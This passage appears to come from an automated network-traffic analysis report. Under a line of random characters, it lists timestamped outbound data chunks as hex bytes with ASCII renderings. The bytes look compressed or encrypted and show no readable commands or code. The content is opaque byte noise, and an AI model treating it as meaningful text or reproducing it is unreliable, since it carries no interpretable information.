$1E^mM$2uYP1_k)e?\V2B6IAd=ycQ^Xg9YQ(1eJ4Cl;ny?G[+o`%6N<.$[-;>1*<1)LdL>[2UamA>%a491;`=C@dwH4v;%:
2021-09-13 04:32:08 UTC	4533	OUT	Data Raw: 71 1e 25 8f e4 eb 43 04 1d 83 eb 2e 38 a6 b3 90 3e ca 50 70 74 97 58 d2 c7 5d 48 49 26 5b 29 11 76 5c 26 b8 14 10 61 07 6c 7d aa e6 45 59 49 d6 0a 4b 25 55 bb ab 90 ae 03 e1 c7 d4 33 51 65 e9 fa 90 59 57 53 41 03 13 ad 55 88 48 2d b7 6c 70 a3 89 de 6a 18 2d 25 ca 0b 12 4b 23 c2 ec d4 48 9d 36 09 49 26 11 62 5c ba 40 ae 81 44 9d 1e 4c 77 4a d6 0e 4b 13 8d 86 76 ae ab dd 5d ea a5 cd 89 50 33 d7 0b 91 d6 33 27 05 f5 6f c8 00 f7 a2 b8 eb a5 55 04 a6 73 56 96 02 08 b5 2c 40 b6 25 1a df 64 44 5e 53 48 37 23 de 92 0e 90 69 a9 93 8c 5c 43 09 71 96 3a 89 ff 80 5b 92 56 c2 25 9b 62 4a 68 88 1f c1 e6 f6 09 85 9d 6d e3 71 dc 12 62 ce 44 b6 dd 43 c9 13 ee 12 20 ea e2 30 d2 8e fb d9 d2 95 77 3e c9 53 4c 99 68 66 44 5f e2 e4 07 28 71 8a cd 0a da 8c 39 15 49 0f 18 2e 93 Data Ascii: q%C.8>PptX]HI&[)v\&al}EYIK%U3QeYWSAUH-lpj-%K#H6I&b\@DLwJKv]P33'oUsV,@%dD^SH7#i\Cq:[V%bJhmqbDC 0w>SLhfD_(q9I.
2021-09-13 04:32:08 UTC	4549	OUT	Data Raw: 29 b4 3a 8d d6 26 d4 30 a0 ce 15 80 a7 f0 38 21 c9 03 9a e5 24 b1 3f 9f 33 e0 c4 0c 54 5c 2a d9 ea 95 50 fa b9 32 90 c1 fe c1 5c cf f7 ad 89 41 70 ed a9 7f 9c c6 9c 21 98 ec c0 8a 2f d7 20 dc 20 de 5a 1b 02 61 77 a6 ad 6f 63 db b0 8d fa e8 f1 9a 70 24 a5 6b f5 a1 1e d3 90 ed 54 64 cd 48 ec 1e 13 8c 15 43 b0 e6 9f db 5f 8e 41 bd 01 92 11 40 3a 06 1c de 56 10 69 07 11 c9 a5 88 48 48 41 94 1e d2 a7 12 98 28 40 83 26 20 91 24 24 56 04 86 74 8c 80 2c b7 c0 95 5d 2a bc 5c 42 c1 97 0d 4f fc f9 1c 65 32 e6 2a 2a 04 75 1f 32 0d 52 4d 11 b9 e6 d4 e9 76 e2 88 0b 42 78 5c d3 ee 0a 48 83 7f fd 72 0f 72 6f 59 04 68 70 6c e6 b5 eb 35 c8 f5 1e 19 0a cc d4 31 17 4b 09 24 0b b0 e2 8b 40 95 81 2e ba 36 a0 12 48 c2 2b 63 65 5f 48 f7 2c 70 5b 1d db 47 a6 fb f6 30 d4 0b a3 fe Data Ascii: ):&08!$?3T\P2\Ap!/ Zawocp$kTdHC_A@:ViHHA(@& $$Vt,]\BOe2**u2RMvBx\HrroYhpl51K$@.6H+ce_H,p[G0
2021-09-13 04:32:08 UTC	4565	OUT	Data Raw: 70 2f 85 80 3c 0a b0 23 a4 f6 bb d5 76 1b 17 1d 79 67 e0 2d 82 78 07 dc c3 09 0e 0a ca 05 1d 84 8f a1 e8 b6 06 3d 05 78 de 63 6e c1 39 34 dd 58 65 41 32 71 b0 8d 41 cf 41 3c 4e b0 cf dc 17 f0 8b c0 1f 6d 83 42 e4 63 e8 93 a9 be 3a c1 39 06 3a b9 4f 50 47 f7 b1 23 1e 63 88 33 f0 17 1d 91 e7 16 4e 1d 8e 09 9f c3 8d 9e 3b c0 bc 23 3b 17 a6 f6 27 8f 32 a5 8e 7e 26 92 ec 2f 16 9d a7 61 af 20 da 7f 24 6e 8f 7a 16 6f 3f c7 d1 c2 1f 7c ed 3f 55 e2 d8 28 c4 99 95 78 5f e1 a9 b7 8c 78 8c 6f 6f 43 ea d4 77 20 75 ca bb 90 38 e5 9d b0 93 df 32 23 04 4f 7a d3 14 4c 05 36 d3 81 19 0f 09 11 69 4a 2f af 0a 6c 9e 3f 80 c0 e0 f5 2c fc 49 c1 b5 ff 2c 02 da 11 80 21 04 1a 00 4c 9e 8a ef e7 b4 77 21 79 fa ff 38 46 bf 33 cd 35 ff 74 02 80 3a 5e 10 e4 2c 3c 1e 2c 0c e2 c9 39 96 Data Ascii: p/<#vyg-x=xcn94XeA2qAA<NmBc:9:OPG#c3N;#;'2~&/a $nzo?\|?U(x_xooCw u82#OzL6iJ/l?,I,!Lw!y8F35t:^,<,9
2021-09-13 04:32:08 UTC	4581	OUT	Data Raw: 35 84 bf a7 a7 e6 39 01 40 81 3f 1f 00 6a 08 2c 17 00 e9 da 7f 3e 00 7c 79 36 f8 01 f0 a8 fb f0 33 05 7d 06 b2 00 e8 c3 37 5d 8b 03 a0 07 02 e5 35 db 1a 00 f2 71 0d 7e 71 d9 e7 e1 e8 71 36 17 ff 7c 00 18 dc 17 00 f4 a0 9f ce 7d 9c 9b 0f fd 74 be c7 ac ab e4 6b 29 56 ec f9 6d 06 00 cd 48 40 17 ec e2 8a 03 3e 29 ee 78 b0 7f 23 00 96 55 1c 00 9a 29 c0 f4 da f6 f5 24 01 40 c2 3f 01 40 5a ec 63 23 00 46 01 d0 59 fc 43 00 30 b5 4f 47 ae 24 00 ee 67 16 02 31 f8 47 b7 5b 19 00 7d e8 a7 73 e0 cf cd 87 7a 0d a9 1c 00 e4 14 00 32 02 36 10 00 83 1c f0 73 8b 00 a0 c5 3f de ef c1 3f ee b8 57 a2 00 28 78 a7 f0 4f 00 50 23 60 83 01 90 0a e0 4f 0a 01 90 de 53 29 00 d4 20 d7 50 00 0c 10 50 03 20 65 01 50 16 ff 10 f8 0b 00 d0 2e 36 42 53 7e cd eb bd 67 d2 00 78 c6 07 06 fd Data Ascii: 59@?j,>\|y63}7]5q~qq6\|}tk)VmH@>)x#U)$@?@Zc#FYC0OG$g1G[}sz26s??W(xOP#`OS) PP eP.6BS~gx
2021-09-13 04:32:08 UTC	4597	OUT	Data Raw: 9f 14 80 5f 2b 02 a0 c6 3e 5f fa dc a0 47 0c 02 36 1a 00 3b d7 31 00 6e f6 d4 0a f8 fe e3 b3 e1 a0 6e d9 00 00 ff 43 d3 c6 5e a9 82 cd 5e 4c 33 00 a6 de 70 00 90 00 af 39 01 b0 4c 04 dc 08 80 b8 4f 10 d0 87 7a 0d a9 29 00 c8 65 f8 3a 80 15 dd ea 19 00 2b be cc c0 37 f1 bc ef f5 04 9e 06 fc db 3e 79 f8 73 9f 34 fc ab 6f 1e f6 e8 97 e5 51 6d 17 0c cd c2 9d a3 d6 32 6a 4c af 33 2b 00 d3 4a be 04 80 87 f5 58 08 3f 79 65 0e 03 60 ea c1 b5 90 c4 df 5f fe 37 41 01 e0 37 6f 34 00 d8 d1 02 20 3d d6 07 80 87 e2 6b c9 08 40 01 c0 83 9b 19 00 69 4a 71 24 e7 b8 c6 3f 7a 0f 1a ff 9a 03 00 83 68 5f 90 99 f2 4b d1 ea be 74 7d 3f 9e ea 1b 81 3f 8d 7f 10 c0 1f a5 af f1 27 f8 77 e1 f0 0c 5c 3c 3c cb 31 fc e1 31 da 76 c0 f3 19 fe ec 6a bf 32 ed 57 ae f9 17 2c f2 31 c6 4c f5 Data Ascii: _+>_G6;1nnC^^L3p9LOz)e:+7>ys4oQm2jL3+JX?ye`_7A7o4 =k@iJq$?zh_Kt}??'w\<<11vj2W,1L
2021-09-13 04:32:08 UTC	4613	OUT	Data Raw: f4 94 7c d5 61 44 00 fe b7 05 a0 97 04 d4 fc e9 02 90 e1 7e 83 ff ef 02 d0 8b ed 15 80 db 4b 2a 01 a8 e7 02 74 08 40 87 04 d4 11 7f 4e 01 c8 73 01 9a 02 90 a3 ff ea 22 00 53 62 ee c7 f2 4f 63 1e 87 96 75 f4 9f 26 ed 0e 6a 4d 09 f8 4f 15 80 a6 fc fb 07 0b 40 96 7f 7f a6 00 d4 e3 6c 3c d2 7d 4d cc 73 c8 71 53 08 40 9f 21 00 75 e4 9f 97 00 74 8b 3f 8d 19 f1 e7 c9 ff 8a 00 34 04 9f a7 04 34 b6 6f 8b 00 74 44 00 d6 52 00 3a 22 00 5d 02 d0 2d 01 3d a5 5e 5d 70 45 ff 39 04 e0 b7 45 4a fe 79 44 00 ee 08 01 98 24 ff b6 51 00 d6 6f 5b 2e 02 f0 c0 36 1b f1 90 25 00 df d9 e8 12 80 5d 68 5f 96 7d 7f a6 00 dc 1e 09 e8 25 ff 98 6d 10 80 8c 97 ec f3 c2 53 ea 55 87 3b 22 d0 4b fa 99 d4 46 00 7a 49 40 dd ff 17 08 40 5e af 51 00 52 cb 15 81 9b 65 54 e1 88 cc 72 5c 3e a1 02 Data Ascii: \|aD~K*t@Ns"SbOcu&jMO@l<}MsqS@!ut?44otDR:"]-=^]pE9EJyD$Qo[.6%]h_}%mSU;"KFzI@@^QReTr\>
2021-09-13 04:32:08 UTC	4629	OUT	Data Raw: 04 e4 75 4b 00 ba c5 9f 29 ff b8 22 af 19 8d 57 5b 4c 01 e8 96 7a 6e 6a 23 ff b6 4b 00 ea 68 3e c6 bd cd 4b fe 31 86 00 e4 f4 df ba 0a 40 5b fe d9 02 30 82 06 9d f2 b0 7f e7 65 78 69 71 25 7e 2d 00 da 95 d2 8f de e9 95 38 ac 67 a1 21 00 89 1e 74 2e 53 00 1a d2 ce 94 7d a9 30 c7 57 8b 97 fc 63 52 09 40 2f f9 c7 f4 53 82 af 26 64 be 3f 2d 01 07 d0 b5 a6 40 cb 3f 2d 00 9d 29 bf 8c 4a fb e5 b9 fc 34 52 e0 43 8a 82 70 4b cf cb 10 7a 2e 84 30 fc 43 83 44 a5 4d 60 58 15 11 42 fa 50 8d 53 fe d5 33 da 7a 43 42 68 30 24 2e e2 af e1 50 05 af d7 1f 4a 7d c3 e8 79 1d 1e b3 88 a0 de c8 28 11 b6 a9 3f 2a 22 91 7e 8d 47 57 60 e7 51 a5 68 4a ec 32 b2 18 bb 8f 2c c2 7e c4 81 c4 a1 23 0b 71 fc 98 52 9c 3a a6 04 67 64 16 e3 dc ac 62 5c 9c 55 8a ab c6 55 e0 c6 29 61 dc 31 23 Data Ascii: uK)"W[Lznj#Kh>K1@[0exiq%~-8g!t.S}0WcR@/S&d?-@?-)J4RCpKz.0CDM`XBPS3zCBh0$.PJ}y(?*"~GW`QhJ2,~#qR:gdb\UU)a1#
2021-09-13 04:32:08 UTC	4645	OUT	Data Raw: a5 f8 23 52 55 f7 65 78 9e 3f 26 95 f8 f3 bf bb ce 81 5b fc 79 09 c0 b4 0f 13 e2 2f 15 b6 00 b4 08 7c b8 d9 81 48 3f 8d 3b ba cf 8d 3b ba 8f 70 57 ee f5 92 7e 7a 7e 3f df 57 d4 ba 22 fe b4 f4 0b 7c 97 90 7e 81 1f ca 04 2d fc 6c 92 0a 72 98 a8 4a ba 76 9a af 81 9e bb 2f 29 d2 cf 43 fc 99 72 cf 91 7e 6b a4 e1 6a 81 97 2c f2 9c 70 f4 9e 9e 63 2f d0 89 8e cd d2 cd ea 97 31 22 e1 12 28 c1 42 3f ee ad 68 2c 2d 4d 44 ac 70 eb 86 a3 f5 dc 92 85 e9 49 f7 49 c3 45 16 7a f2 3c 6d d4 32 dd e8 47 9f 71 8e 74 3a 4e 7a f7 28 ea f5 88 a1 3e ed ab e4 5f 08 f5 ba 04 51 9f da 46 dd 22 68 4c db 99 7a b4 6f a0 7b 15 1a f5 2d c5 be 7d d7 e2 aa 9c 35 e8 9c 1f 02 fd be c5 14 e2 93 25 15 38 7d e0 5a 34 ed 49 af cd fe f4 03 74 30 9d af 3f 9d 9b a5 df 40 da 77 60 10 69 43 e8 fc 83 Data Ascii: #RUex?&[y/\|H?;;pW~z~?W"\|~-lrJv/)Cr~kj,pc/1"(B?h,-MDpIIEz<m2Gqt:Nz(>_QF"hLzo{-}5%8}Z4It0?@w`iC
2021-09-13 04:32:08 UTC	4661	OUT	Data Raw: b2 0f ff ed dd 81 32 97 f0 df f5 95 17 80 56 82 14 d6 34 fd 00 06 02 30 9c 2e 4d 38 11 61 77 4e 7b 9e 6a 23 b1 10 19 87 e8 3f 69 f2 69 05 20 64 d2 6d b0 37 b7 5a 51 c3 a5 ca 9e 36 67 05 a5 08 40 ac cb 88 ec 99 c8 cb aa 18 93 c8 40 95 33 10 58 f9 04 a0 1d de 57 11 80 d8 2e fa 01 44 13 5a 11 80 3a 7d bf b0 a9 f4 2f 10 11 69 af 07 9a 00 1f 74 aa 90 a8 fe 27 23 9b 70 1c 88 b0 03 88 72 e3 7f 22 e8 30 2e e7 ea 48 28 4c 93 e6 b0 2a 00 ed 74 c8 2b 69 32 6b c7 65 38 dc a7 48 b7 c8 3e b1 8e 23 de aa 1d c2 f3 7f 48 89 a3 ce 35 52 6b ff e3 72 af 39 9a d2 d6 3a 5a 84 ee ec b6 7c 7d 44 98 59 29 86 a8 3a d9 cf 8f 2a 6e 06 9c 23 00 99 e0 39 88 0a 40 23 32 db d2 59 2a e6 82 e6 ce cc ed fc 17 57 45 cf 90 15 80 89 03 2e 33 fd 1f b6 fd b5 9d c6 f7 0b 7d f8 a1 f9 6f 7b 9c 0f Data Ascii: 2V40.M8awN{j#?ii dm7ZQ6g@@3XW.DZ:}/it'#pr"0.H(Lt+i2ke8H>#H5Rkr9:Z\|}DY):n#9@#2Y*WE.3}o{
2021-09-13 04:32:08 UTC	4677	OUT	Data Raw: c2 1a c1 97 0f fd b6 f8 04 82 d0 6e cf 8d 1c 74 a9 b4 00 54 f4 b7 55 05 a0 7e ef 62 08 7f 7b 0d 39 f2 0f d8 df 61 1f fc 47 0a f0 e5 5e 45 e8 77 5a d1 88 bf 7c e8 f7 bd 22 24 aa db 21 8c 04 44 33 de 78 20 f7 94 b8 f9 20 d1 8e 7f cf 3a f2 3b 8b 77 99 ff be 80 f0 cf 76 e1 f7 bf cb 1a 3a 61 e0 2a ba e6 f5 4d c4 9f 61 ba ff 13 a2 83 9e e4 bf 2b af eb cf 7f 13 0f a2 d4 e5 7d 29 71 49 8c 00 c4 78 3e 01 08 be b3 02 d0 15 7f 40 e5 9f 2b 01 5d 11 b6 b7 38 32 94 7f ae 00 0c c6 bf 6d 01 18 77 8c 2e 38 be ff 06 01 a8 12 30 58 f7 5f 27 00 41 b8 dd a8 c0 fb 57 08 40 91 74 2a f1 e2 24 5f 79 38 f2 0f b8 62 4f 71 f7 e5 ee 53 f9 6f 13 80 ee b8 1c cb bf 50 00 fa 12 b0 3c 01 08 76 4b 00 22 12 f0 bb 2a 00 9d e6 bf 10 80 1a 01 68 a2 ff 9e 13 f9 07 d0 df 9f a1 b1 e1 bb 22 00 21 Data Ascii: ntTU~b{9aG^EwZ\|"$!D3x :;wv:aMa+})qIx>@+]82mw.80X_'AW@t$_y8bOqSoP<vK"*h"!
2021-09-13 04:32:08 UTC	4693	OUT	Data Raw: 45 a3 40 dd 6b 27 e0 9e b8 b8 42 10 b8 52 b0 12 b8 d1 a3 60 4f e7 03 cd 44 1e 08 c0 dd 45 ff 53 24 1f 10 7e ee 70 8c 04 8c 9b a6 40 d2 55 16 08 2f 59 a7 be 5d d7 96 d2 0d 03 b6 1d 57 f2 71 61 19 48 47 6c 03 a5 8c db e3 11 19 a9 c3 f9 40 9f 88 e5 10 24 db f1 c6 91 90 07 02 32 d1 90 af 4d 23 fe cd 10 78 7b da cc 59 23 0c b1 1e d6 6f b8 dc 88 a7 c6 2b cd 74 48 46 88 c8 7a 18 e6 69 f5 57 f1 f1 22 62 70 15 a5 03 56 50 a6 91 8d 56 43 12 10 c9 0c cc cb a3 a9 31 fa 22 44 bf 80 8d 17 53 b6 29 ff ee 35 e2 df b4 86 f3 28 db 78 01 15 36 5d 44 45 cd 16 53 b5 56 cb a8 b8 19 8f 37 99 4b 05 0d bf a0 4c 83 4f 28 53 ef 43 ca 36 f8 27 15 35 fe 88 aa 36 fb 94 d2 f5 f9 f7 88 c9 36 f8 80 aa 36 fe 84 6a b7 9c 4d 47 76 5e 42 3f e8 bb 9e 4e 1b be 95 ce 9d 42 74 d6 64 a2 33 a6 32 Data Ascii: E@k'BR`ODES$~p@U/Y]WqaHGl@$2M#x{Y#o+tHFziW"bpVPVC1"DS)5(x6]DESV7KLO(SC6'5666jMGv^B?NBtd32
2021-09-13 04:32:08 UTC	4709	OUT	Data Raw: 1c ca 2d 55 ef 8d 48 ea d9 96 2a fa b2 d8 3b 71 10 b4 3a 61 20 54 b6 7d 38 45 c5 f1 0f 41 e5 71 31 34 5f 71 2c 15 1c e9 6f 84 de d1 34 6e 61 6f a8 3c a2 27 53 71 78 0f a8 38 b4 3b 23 a9 aa 2c ab e8 7a d3 75 e7 31 f5 e8 9e 58 48 80 51 0a 37 49 bb bd ad bc 23 71 47 ec 89 f7 59 d8 eb ce b8 dd 83 da bb f0 b9 b8 97 9f 05 1e 07 72 1f 23 86 63 6e 77 ad a4 8e 33 54 41 5a 90 42 32 45 2a 47 73 f5 68 96 85 f1 f3 e6 a3 05 a0 50 8e 08 14 12 cf a7 c6 09 40 92 d3 44 52 50 f3 35 25 a4 aa 70 13 45 60 96 00 d4 52 3b 25 00 45 02 72 14 eb c0 38 45 9d 45 e0 a0 38 22 30 24 02 7d 94 00 34 12 d0 a4 b3 c7 12 50 09 40 44 24 37 a5 92 37 16 1a cb 52 43 63 09 86 a2 02 35 4e 16 06 04 63 62 79 06 c1 75 fc fd 4a 2a b3 6e 79 3d 3a 46 af d5 eb 21 fa 58 8b e1 3e 8f b0 db 9a 7d a9 7e 82 d6 Data Ascii: -UH;q:a T}8EAq14_q,o4nao<'Sqx8;#,zu1XHQ7I#qGYr#cnw3TAZB2EGshP@DRP5%pE`R;%Er8EE8"0$}4P@D$77RCc5NcbyuJ*ny=:F!X>}~
2021-09-13 04:32:08 UTC	4725	OUT	Data Raw: 0a 62 90 cc d3 98 28 2e 4a ed b4 c7 b8 fd a5 0c 89 4b 2e 56 f2 1f 3c 17 4e b7 a5 54 5b 64 eb 73 0c 2e d5 f6 cc 24 12 81 c7 91 7a 78 5d 37 c5 6b fc 6f bc ee ff c2 fb f3 2f 12 b8 24 73 29 9d 9b 5a c5 a6 24 f9 08 12 7c 08 0b 5d 91 be 16 16 c1 d4 af 90 f5 85 12 f7 5a c4 6f 9a 2c 01 28 64 0b 40 96 80 81 e7 23 28 00 e9 59 29 85 b7 4d 42 00 d2 33 46 e3 4b aa 31 26 25 0a b0 b0 83 1e d3 2f 83 90 f4 d3 2c 43 01 c8 51 ae 48 79 02 30 2e 1a 92 10 80 82 88 3f 27 04 03 f2 8f 50 29 c0 0c 8d 69 c9 14 93 80 0a 11 80 5a 04 8a 04 64 f0 7b 4b 93 12 81 1d 62 3c 01 18 1d d2 b9 a8 08 cc 1d 4c 12 b0 3b e4 04 25 fb 1c a5 96 2b 12 62 d0 a5 12 17 a3 57 40 aa 21 01 d1 55 1c 91 6f 25 f0 e5 23 22 82 d2 8f 5a d4 f2 b2 18 b9 23 f1 1c 08 9a 66 fc 73 c9 10 7f 02 a7 e1 06 90 e5 fe fe 7c e8 Data Ascii: b(.JK.V<NT[ds.$zx]7ko/$s)Z$\|]Zo,(d@#(Y)MB3FK1&%/,CQHy0.?'P)iZd{Kb<L;%+bW@!Uo%#"Z#fs\|
2021-09-13 04:32:08 UTC	4741	OUT	Data Raw: 49 48 88 41 e9 5f 1b e1 a2 0f 16 4f 7a 51 6a 6f 9e a2 ff 10 12 38 26 ea 2f 89 c8 19 12 7c 5a d6 e8 c8 39 81 fa 29 c5 93 a6 49 84 50 84 1d 49 11 8a be 8b 36 36 51 78 c9 f6 48 5e 6e 52 6c e3 f5 b2 a2 f4 78 7e 7d 6c 29 e5 58 a4 93 3d 7e 82 a3 f6 d6 a5 6b 67 52 58 53 d7 4b 52 6a 05 92 6e 3e 32 1e 25 09 3d 1f 59 96 b5 3c 20 fd 7c 8a 09 40 79 0e f8 59 50 cf 47 ea 39 d1 cf 7c 23 68 bc 00 94 54 df 5f 05 60 10 7d 2c c8 52 13 80 96 9f 4c 00 5a 96 bd 00 14 62 01 98 4c fb b5 63 ff 85 64 5f 80 54 24 e0 4f 28 00 83 fb e0 74 e0 a6 a3 25 60 31 11 28 a4 24 60 28 65 58 c1 15 85 03 fd 8e 3d 4d 84 60 b9 e8 48 42 96 87 be dc cb 62 0f 5c 57 a0 79 11 50 a5 52 90 43 7d 09 bc 88 b7 96 80 44 1b 09 37 25 eb 64 de 47 a2 f6 08 8a 2a d4 d1 78 44 3c 7f 37 e3 1f 7f 48 aa 69 82 d1 7b 7b Data Ascii: IHA_OzQjo8&/\|Z9)IPI66QxH^nRlx~}l)X=~kgRXSKRjn>2%=Y< \|@yYPG9\|#hT_`},RLZbLcd_T$O(t%`1($`(eX=M`HBb\WyPRC}D7%dG*xD<7Hi{{
2021-09-13 04:32:08 UTC	4757	OUT	Data Raw: 26 da 9c 97 fb 76 c4 79 80 df 9f 3e 63 ba 59 60 ba 39 9d 07 91 ea 2e 3b 33 76 5e a3 cf 17 7d 8e f0 f6 a2 e0 2b a5 0b fa 9c 99 85 21 02 d0 2e d3 f0 f1 51 df 83 a1 fd 9c 45 00 82 ec b7 1d c2 ac c2 cf d2 7b fe ef 9d 91 24 a0 23 c5 12 ae b0 23 bc bc 43 f0 ca b2 78 eb 2d 2b 51 24 2a f9 b7 26 00 87 73 73 12 80 5a 02 ae 1a 01 b8 dd e3 67 47 0b 40 8d 11 80 d3 1d 4e 4f 78 69 9c 3e 33 be 3c 14 3c 89 a8 a9 1e 7e 66 46 88 4a 6c b0 cb db 84 be 0a bb 48 02 d0 08 c5 10 25 48 fb 11 99 ec 44 fb ac 79 f8 19 cd d4 b2 23 7d 77 86 96 77 21 22 53 a3 f6 61 8c 00 d4 e2 af 2d 00 89 d4 2c 19 18 01 48 0f 9c ba 5f c2 46 00 9a 87 d2 0e 74 3f 36 0d 8e 14 ec 91 86 09 ee 37 07 0f d1 23 e8 13 80 04 fe 5b 5f ed fd cc 7a 69 9f 20 02 41 5b 00 46 20 00 0b 12 90 f3 7b d2 4f e3 89 bc 59 29 09 Data Ascii: &vy>cY`9.;3v^}+!.QE{$##Cx-+Q$*&ssZgG@NOxi>3<<~fFJlH%HDy#}ww!"Sa-,H_Ft?67#[_zi A[F {OY)
2021-09-13 04:32:08 UTC	4773	OUT	Data Raw: 28 01 28 12 50 cb 3f 61 88 00 14 09 b8 50 01 e8 49 c0 45 09 40 89 c6 d1 02 10 2f ed 31 02 d0 15 80 32 8a 27 4b c0 28 f5 a4 6f 3f e0 08 be 94 2f 62 97 5b 5c a9 47 74 0a c0 d8 07 21 e3 08 40 2d 01 45 04 96 04 20 b0 91 80 7d 02 50 a3 65 a0 08 40 91 7f 2c 00 53 bf 6a 6d e1 07 d1 27 e9 76 d9 f4 bc 7f 61 38 7a 50 fa 11 d4 11 82 44 92 7f 04 3e 0b 3a 32 30 f5 2b 98 f5 2f 08 a2 40 02 32 fa ab 27 02 59 10 36 02 50 4b 40 d0 92 7f 92 16 65 1f 7f ee 90 80 56 f0 0d 61 8c 04 64 e1 e6 a4 5b a4 2c e9 23 b1 6b aa f3 cf 33 15 aa 8b 69 7a 51 88 f4 0b 91 7d ff 4e c7 39 4a 3f 1c 77 16 b8 f8 2d 1c 29 8c 73 e5 fc 78 ee c4 73 b0 39 3f c3 e0 1d 02 8f 8a 2d c2 9b cf fd 30 c8 4e ba 6e e2 f5 c8 d7 25 5d bb d5 29 74 dd 9f f4 a1 50 47 3c ee 4f 39 6a 98 07 11 42 dd c1 d1 7e 7f 5c 57 27 Data Ascii: ((P?aPIE@/12'K(o?/b[\Gt!@-E }Pe@,Sjm'va8zPD>:20+/@2'Y6PK@eVad[,#k3izQ}N9J?w-)sxs9?-0Nn%])tPG<O9jB~\W'
2021-09-13 04:32:08 UTC	4788	OUT	Data Raw: 27 f5 c6 30 ab 60 4a 42 49 e1 8a a2 01 79 34 5e fe 2c 0d db d7 fb 6c 71 f6 d3 a6 25 bc f5 97 0b 6f fb c0 cb 5b c2 5b bf 8f b8 5e fa bd ec 72 07 f9 5d ed 6f a3 99 6c 2c 02 50 0b be a1 6c 4c 02 f0 fe 87 05 8a 12 d0 17 7c 7d 2c 4a 00 02 2d ff 80 4e eb 93 78 56 f8 59 bc 75 46 e1 48 3f 8d 88 bd 4c 00 7a 74 08 40 4f 02 36 e9 b9 f8 13 44 f0 95 d2 85 21 02 30 93 80 eb 49 00 b6 c1 c3 79 78 40 cf d0 0f e7 44 f6 e0 4e 6c 74 02 70 c4 36 f5 8b 5a c2 13 80 4a 02 8a 00 14 09 28 02 b0 11 81 b9 f8 13 ac b4 6b 61 04 a0 9b 07 a0 2c a7 bc b4 9e 74 52 ef c9 bd 21 18 01 28 12 70 b4 00 04 51 00 ba 91 80 12 0d 28 2f f6 04 04 60 e8 b3 ab 83 42 24 a0 87 27 00 59 3e 28 09 98 c9 3f 44 25 69 01 78 74 88 66 82 00 ac 8e c9 c5 df d2 f1 ef 48 88 fc 63 e1 27 7d 08 4a 3f 82 90 25 3c 08 42 Data Ascii: '0`JBIy4^,lq%o[[^r]ol,PlL\|},J-NxVYuFH?Lzt@O6D!0Iyx@DNltp6ZJ(ka,tR!(pQ(/`B$'Y>(?D%ixtfHc'}J?%<B
2021-09-13 04:32:08 UTC	4804	OUT	Data Raw: b1 3f 40 1d 0d 08 a1 02 b1 22 02 30 0a 1a c6 13 80 8f c2 08 c1 b9 00 f4 24 a0 a4 27 86 0a c0 c3 29 1f b0 22 50 cb 3f 90 8d 1c 0c 44 58 b5 d1 82 af 0f 2d c3 18 4f 98 09 6e 1e 4f ea 8d 41 95 6b 51 db 59 b4 f8 63 9c 63 97 8e 73 3c ee b9 fc a3 df 05 d1 7e 51 fe e1 7c 28 8a 3f 3d 52 ef 00 01 e8 49 3f 8d 34 6d 97 88 bf 24 ba 63 e4 5f 13 2d 9b 4b f3 24 fe 08 96 f0 5a fe 81 01 02 50 d7 31 2c fe 4a f5 1f a3 ea 4c 42 cb 3f ae c7 ed a0 15 5c 0f e7 62 6f 38 e7 a9 7b 01 ee 25 ea be 62 45 56 bc 5f 0e 17 7b 43 51 32 cc 8e 80 6b 04 20 98 57 00 6a f9 e7 46 fa ab ef 5e a4 6f 9d 1d b1 ad 20 fe ec fe b7 f1 8e c9 00 e4 b9 87 9f ad 9a e7 2d 48 3e 7e 26 8b 68 f9 67 05 e0 f4 21 94 47 8b 3b e0 c9 bd 21 e8 32 9a a6 bf 26 fa ef db af 0f 9f bf ff 5e 16 80 88 02 fc e9 a7 ce 4c cd 80 Data Ascii: ?@"0$')"P?DX-OnOAkQYccs<~Q\|(?=RI?4m$c_-K$ZP1,JLB?\bo8{%bEV_{CQ2k WjF^o -H>~&hg!G;!2&^L
2021-09-13 04:32:08 UTC	4820	OUT	Data Raw: cb 4a 4c 96 a5 32 8f c9 3f 01 64 1f 27 cc 0e 9c 90 80 07 54 fe 09 5c c4 1d 15 54 fe 09 28 ed 88 f8 53 30 5d 0d 54 cc 6d 13 2a ff 04 2e f4 22 0b 08 40 01 85 de 18 56 fe e9 32 16 d4 95 b0 02 50 c8 82 cf 06 bc c0 23 cb c7 28 09 40 2b 01 13 f9 27 cc 14 80 11 37 58 49 88 eb f2 e0 3d 41 05 60 41 02 fa 41 d0 b5 83 04 b4 a2 8f 2d 13 e2 25 44 58 c7 12 a6 ee 1b 15 80 28 f7 6a b1 65 b4 80 83 de 39 e0 0c 42 32 8b 70 4c 00 26 5c 7f 73 36 a8 df 84 00 cc f2 45 e9 30 43 00 c6 f5 a9 bc f0 9c 74 65 0b 76 b9 80 d2 23 02 db 02 54 a4 a0 00 54 bc 84 69 11 80 64 3d 13 7b b5 02 d0 6f 9f ca 3e 46 be 6d c1 cf 34 2b 09 40 11 54 22 b9 84 28 c5 ac c0 1b 48 a5 1a 27 a6 7f e6 2b 27 24 de 9a 64 f5 9e c7 98 fc b3 97 ed 56 13 67 62 c2 b1 61 10 f9 67 05 60 76 fc 79 8c f0 93 63 15 2f f5 25 Data Ascii: JL2?d'T\T(S0]Tm*."@V2P#(@+'7XI=A`AA-%DX(je9B2pL&\s6E0Ctev#TTid={o>Fm4+@T"(H'+'$dVgbag`vyc/%
2021-09-13 04:32:08 UTC	4836	OUT	Data Raw: 7f c2 5e 00 1a b8 04 1b 60 79 96 60 dd f2 5b f2 6b da 3a 72 a9 d5 82 15 5a 4c 7a b5 60 cb 9b 04 a4 9e 95 7c fa 19 d1 75 4b 61 eb c3 f6 09 b1 e9 ad 00 b4 12 30 11 72 41 ca 35 61 f3 97 60 e9 dd 67 26 ed 96 84 4a bd 16 f6 02 70 16 6c db b5 60 7b 58 39 b7 36 4c 00 0a 90 e6 38 0b 40 a5 94 d6 2f 93 4b 83 61 fd 18 4c fa 21 99 b4 9b 8b c8 ba d2 f2 b5 e0 c1 46 35 44 f2 8d 71 dc 04 e0 89 47 8e 07 c9 7d 90 b8 06 18 7c 32 42 a0 be 39 d2 c0 98 a1 c1 b2 25 0a 40 c5 2d b3 64 c2 cf b2 17 80 14 3b 30 2d c2 06 b5 0d 30 c1 37 45 52 46 22 e3 ea 48 06 f0 64 7d 1b 1b 16 80 8f 77 e9 05 58 96 08 18 58 4e 31 79 85 24 3f 13 4d 2d 18 29 25 a0 98 8a e9 9e f0 ad 39 58 4e 03 a9 04 4c 85 57 1b 79 dd 9b 21 f5 f3 e8 3e d6 e4 a9 49 a3 98 74 43 5b f3 d9 85 28 ff fc f7 21 4f df 85 d9 7f 78 Data Ascii: 